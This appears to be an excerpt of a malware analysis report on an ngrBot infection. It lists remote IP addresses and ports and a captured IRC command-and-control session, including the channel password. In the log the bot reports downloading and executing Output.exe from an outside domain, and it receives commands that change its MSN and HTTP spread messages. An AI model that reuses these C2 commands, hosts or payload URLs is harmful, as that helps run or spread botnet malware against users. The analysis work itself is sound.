Remote Host Port Number
199.15.234.7 80
89.248.168.244 80
89.248.168.231 6869 PASS ngrBot
PRIVMSG #ng# :[d=”http://zbavitu.net/Output.exe” s=”614400 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.tmp” – Download retries: 0
NICK n{US|XPa}cratgwz
USER cratgwz 0 0 :cratgwz
JOIN #ng# ngrBot
PRIVMSG #ng# :[MSN]: Updated MSN spread message to “http://goo.gl/ZtByX |”
PRIVMSG #ng# :[MSN]: Updated MSN spread interval to “6”
PRIVMSG #ng# :[HTTP]: Updated HTTP spread interval to “6”
PRIVMSG #ng# :[HTTP]: Updated HTTP spread message to “http://goo.gl/ZtByX |”
* The data identified by the following URLs was then requested from the remote web server:
o http://api.wipmania.com/
o http://zbavitu.net/Output.exe
hosting infos:
http://whois.domaintools.com/89.248.168.231